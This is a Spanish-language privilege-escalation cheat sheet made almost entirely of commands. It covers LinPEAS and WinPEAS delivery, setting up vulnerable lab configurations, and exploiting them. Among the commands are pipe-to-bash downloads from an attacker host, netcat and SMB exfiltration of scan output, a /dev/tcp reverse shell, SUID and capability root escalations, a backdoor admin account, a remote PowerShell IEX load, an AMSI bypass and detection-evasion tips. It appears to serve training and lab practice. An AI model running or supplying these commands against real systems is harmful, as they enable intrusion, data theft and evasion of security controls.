# Descargar la versión más reciente
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
# Servir vía HTTP
python3 -m http.server 8080
# O con SimpleHTTPServer más completo
updog -p 8080

# Descargar y ejecutar directamente (sin escribir a disco)
curl -s http://ATACANTE_IP:8080/linpeas.sh | bash
# Descargar y ejecutar con colores guardados
curl -s http://ATACANTE_IP:8080/linpeas.sh -o /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh 2>/dev/null | tee /tmp/lp_out.txt
# Con wget si no hay curl
wget -q http://ATACANTE_IP:8080/linpeas.sh -O- | bash

# Ejecutar directamente desde GitHub sin tocar disco
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Con base64 por si hay filtrado de URLs
bash -c "$(curl -sL http://ATACANTE_IP:8080/linpeas.sh | base64 -d)"

# SCP (si tenemos credenciales SSH)
scp linpeas.sh user@victim:/tmp/
# Netcat — Atacante envía
nc -lvnp 9001 < linpeas.sh
# Netcat — Víctima recibe
nc ATACANTE_IP 9001 > /tmp/lp.sh && chmod +x /tmp/lp.sh

# Guardar con códigos de color ANSI (para ver con cat)
bash linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt
# Exfiltrar el output al atacante
cat /tmp/linpeas_output.txt | nc ATACANTE_IP 9002
# En atacante: recibir y ver con colores
nc -lvnp 9002 | less -R

# Solo líneas con "95%" (máxima prioridad)
cat linpeas_output.txt | grep "95%"
# Buscar en secciones específicas
cat linpeas_output.txt | grep -A 10 "SUID"
cat linpeas_output.txt | grep -A 10 "Cron"
cat linpeas_output.txt | grep -A 10 "sudo"
# Encontrar contraseñas
cat linpeas_output.txt | grep -i "password\|passwd\|secret\|token\|key"
# Ver output con colores en terminal
cat linpeas_output.txt | less -R

bash linpeas.sh -h
Usage: linpeas.sh [flags]

 -a  →  All checks (puede tardar 30+ min en sistemas grandes)
 -s  →  Super Fast — solo checks de alta prioridad
 -w  →  Wait time entre secciones (reduce carga en CPU)
 -d  →  Network discovery (escanear red local)
 -p  →  Password cracking (intentar crackear hashes encontrados)
 -o  →  Guardar en fichero con colores
 -q  →  Quiet — menos output de bajo riesgo
 -n  →  No colores (para pipelines)
 -P  →  Contraseña a probar contra credenciales encontradas

# CTF / Lab rápido — solo lo importante
bash linpeas.sh -s 2>/dev/null | tee /tmp/out.txt

# Auditoría completa — todos los checks
bash linpeas.sh -a 2>/dev/null | tee /tmp/full_out.txt

# Silencioso con output a fichero (para exfiltrar)
bash linpeas.sh -q -n 2>/dev/null > /tmp/lp_nocolor.txt

# Probar contraseña conocida contra hashes y servicios
bash linpeas.sh -P 'Password123' 2>/dev/null

# Escanear red local además del sistema
bash linpeas.sh -a -d 2>/dev/null | tee /tmp/full.txt

:: Con certutil (disponible en Windows XP+)
certutil -urlcache -f http://ATACANTE_IP:8080/winPEASx64.exe C:\Temp\wp.exe

:: Con PowerShell (Windows 7+)
Invoke-WebRequest -Uri http://ATACANTE_IP:8080/winPEASx64.exe -OutFile C:\Temp\wp.exe
(New-Object System.Net.WebClient).DownloadFile("http://ATACANTE_IP:8080/winPEASx64.exe","C:\Temp\wp.exe")

:: Con curl (Windows 10 1803+)
curl -o C:\Temp\wp.exe http://ATACANTE_IP:8080/winPEASx64.exe

:: SMB desde atacante (impacket)
:: Atacante: impacket-smbserver share . -smb2support
copy \\ATACANTE_IP\share\winPEASx64.exe C:\Temp\wp.exe

:: Ejecutar y guardar
C:\Temp\wp.exe > C:\Temp\winpeas_out.txt 2>&1

:: Con colores para terminal (si hay consola interactiva)
C:\Temp\wp.exe color

:: PowerShell: guardar con codificación correcta
C:\Temp\wp.exe | Out-File C:\Temp\out.txt -Encoding UTF8

:: Exfiltrar output vía SMB
C:\Temp\wp.exe > \\ATACANTE_IP\share\winpeas_out.txt 2>&1

# Buscar hallazgos críticos (texto rojo en WinPEAS)
Select-String -Path C:\Temp\out.txt -Pattern "VULNERABLE|AllAccess|Enabled|AlwaysInstall"

# Buscar contraseñas y credenciales
Select-String -Path C:\Temp\out.txt -Pattern "password|passwd|credential|secret" -CaseSensitive:$false

# Buscar SeImpersonate
Select-String -Path C:\Temp\out.txt -Pattern "SeImpersonate|SeAssign"

# Servicios con AllAccess (binario modificable)
Select-String -Path C:\Temp\out.txt -Pattern "AllAccess|Everyone.*F"

winPEASx64.exe --help
Flags:
 systeminfo    → Solo información del sistema
 userinfo      → Solo información de usuarios
 processinfo   → Solo procesos en ejecución
 servicesinfo  → Solo servicios
 applicationsinfo → Software instalado
 networkinfo   → Información de red
 windowscreds  → Solo credenciales de Windows
 browserinfo   → Credenciales de navegadores
 filesinfo     → Archivos interesantes
 eventsinfo    → Logs de eventos
 wait          → Pausa entre secciones

:: Solo credenciales (rápido, ~30 seg)
winPEASx64.exe windowscreds

:: Solo servicios y sistema
winPEASx64.exe systeminfo servicesinfo

:: Solo info de usuario y privilegios (primer check)
winPEASx64.exe userinfo

:: Todo completo (puede tardar 5-15 min)
winPEASx64.exe > C:\Temp\full_output.txt 2>&1

:: Pausar entre secciones (menos carga)
winPEASx64.exe wait > C:\Temp\output.txt

# Crear script de backup que corre root
mkdir -p /opt/scripts
cat > /opt/scripts/backup.sh << 'EOF'
#!/bin/bash
tar -czf /tmp/backup_$(date +%Y%m%d).tar.gz /var/www/html
echo "Backup completado: $(date)" >> /var/log/backup.log
EOF
# VULNERABILIDAD: dar escritura al grupo www-data
chown root:www-data /opt/scripts/backup.sh
chmod 775 /opt/scripts/backup.sh
# Añadir a crontab (cada minuto)
echo '* * * * *   root    /opt/scripts/backup.sh' >> /etc/crontab
# Cambiar a usuario sin privilegios
su - www-data -s /bin/bash

curl -s http://ATACANTE_IP:8080/linpeas.sh | bash 2>/dev/null | tee /tmp/out.txt
# Buscar en el output...
grep -E "95%|writable|cron" /tmp/out.txt

# Opción A: Añadir SUID a bash
echo 'chmod u+s /bin/bash' >> /opt/scripts/backup.sh
# Esperar ~1 minuto al siguiente ciclo del cron
watch -n 5 "ls -la /bin/bash | grep 'rws'"
# Cuando aparezca el bit SUID:
bash -p
bash-5.1# whoami → root

# Opción B: Reverse shell
echo 'bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1' >> /opt/scripts/backup.sh
# En atacante:
nc -lvnp 4444

# Eliminar la entrada del crontab
sed -i '/backup.sh/d' /etc/crontab
rm -f /opt/scripts/backup.sh
# Restaurar bash si aplicó
chmod u-s /bin/bash

# Asignar SUID a varios binarios (vulnerables)
chmod u+s /usr/bin/find
chmod u+s /usr/bin/python3
chmod u+s /usr/bin/vim.basic
# Verificar
ls -la /usr/bin/find /usr/bin/python3 /usr/bin/vim.basic | grep "rws"
-rwsr-xr-x 1 root root /usr/bin/find
-rwsr-xr-x 1 root root /usr/bin/python3
-rwsr-xr-x 1 root root /usr/bin/vim.basic

# find SUID
find . -exec /bin/bash -p \; -quit
bash-5.1# id → euid=0(root)

# python3 SUID
python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
bash-5.1# id → euid=0(root)

# vim SUID
vim.basic -c ':py3 import os; os.execl("/bin/bash","bash","-pc","reset; exec bash -p")'

chmod u-s /usr/bin/find /usr/bin/python3 /usr/bin/vim.basic

# Asignar cap_setuid a Python3 y Perl
setcap cap_setuid+eip /usr/bin/python3.10
setcap cap_setuid+eip /usr/bin/perl
setcap cap_net_raw+eip /usr/bin/tcpdump
# Verificar
getcap -r / 2>/dev/null
/usr/bin/python3.10 = cap_setuid+eip
/usr/bin/perl = cap_setuid+eip
/usr/bin/tcpdump = cap_net_raw+eip

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@lab:~# whoami → root

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@lab:~# whoami → root

setcap -r /usr/bin/python3.10
setcap -r /usr/bin/perl
setcap -r /usr/bin/tcpdump

# Editar sudoers: visudo o escribir en /etc/sudoers.d/
cat > /etc/sudoers.d/lab-vuln << 'EOF'
# Nivel 1: NOPASSWD con binario GTFOBins
www-data ALL=(ALL) NOPASSWD: /usr/bin/vim

# Nivel 2: Wildcard en ruta (bypass posible)
deploy ALL=(root) NOPASSWD: /usr/bin/find /var/www/*

# Nivel 3: env_keep + LD_PRELOAD
Defaults env_keep += LD_PRELOAD
webadmin ALL=(root) NOPASSWD: /usr/sbin/apache2
EOF
chmod 440 /etc/sudoers.d/lab-vuln

rm /etc/sudoers.d/lab-vuln

:: Habilitar AlwaysInstallElevated en ambas ramas
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f

:: Crear entrada de autorun con escritura para Users
mkdir C:\ProgramData\StartupApps
echo @echo off > "C:\ProgramData\StartupApps\updater.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v AppUpdater /t REG_SZ /d "C:\ProgramData\StartupApps\updater.bat" /f
:: Dar permisos de escritura al directorio a Users
icacls "C:\ProgramData\StartupApps" /grant "BUILTIN\Users:(OI)(CI)W"

reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v AppUpdater /f
rmdir /s /q C:\ProgramData\StartupApps

:: Crear estructura de directorios con espacio (unquoted path)
mkdir "C:\Program Files\My Application"
echo @echo off > "C:\Program Files\My Application\service.exe"

:: VULNERABILIDAD 1: Registrar servicio sin comillas
sc create VulnService binPath= C:\Program Files\My Application\service.exe start= auto obj= LocalSystem

:: VULNERABILIDAD 2: Dar permisos de escritura al binario
icacls "C:\Program Files\My Application\service.exe" /grant "BUILTIN\Users:F"
sc start VulnService

sc stop VulnService
sc delete VulnService
rmdir /s /q "C:\Program Files\My Application"

:: Crear directorio y script de mantenimiento
mkdir C:\Maintenance
echo @echo off > C:\Maintenance\cleanup.bat
echo del /q C:\Temp\*.tmp >> C:\Maintenance\cleanup.bat

:: VULNERABILIDAD: Dar escritura a Users en el directorio
icacls C:\Maintenance /grant "BUILTIN\Users:(OI)(CI)W"

:: Crear tarea programada como SYSTEM cada 5 minutos
schtasks /create /tn "SystemMaintenance" /tr "C:\Maintenance\cleanup.bat" /sc minute /mo 5 /ru SYSTEM /f

:: Inyectar payload (añadir usuario admin)
echo net user ghost P@ssw0rd123 /add >> C:\Maintenance\cleanup.bat
echo net localgroup Administrators ghost /add >> C:\Maintenance\cleanup.bat
:: Esperar hasta 5 minutos...
net user ghost
User name: ghost — acceso admin obtenido!

schtasks /delete /tn "SystemMaintenance" /f
rmdir /s /q C:\Maintenance
net user ghost /delete

# Ejecución en memoria (no escribe a disco)
curl -sL http://ATACANTE/linpeas.sh | bash

# Ofuscación básica: cambiar nombre y permisos
cp linpeas.sh /tmp/.sysupdate && chmod +x /tmp/.sysupdate && /tmp/.sysupdate

# Ejecutar sección por sección (menos firma detectada)
bash linpeas.sh -s 2>/dev/null | grep -E "95%|writable|SUID" | head -50

# Si hay restricción de ejecución: sourcing
. linpeas.sh

# Usar winPEAS.bat en lugar del .exe (menos detección)
winPEAS.bat > C:\Temp\out.txt

# Ejecutar solo módulos específicos (menor firma)
winPEASx64.exe userinfo windowscreds

# PowerUp como alternativa (script PS, no binario)
Set-ExecutionPolicy Bypass -Scope Process -Force
IEX (New-Object Net.WebClient).DownloadString('http://ATACANTE/PowerUp.ps1')
Invoke-AllChecks

# AMSI bypass para PS (entornos con restricciones)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)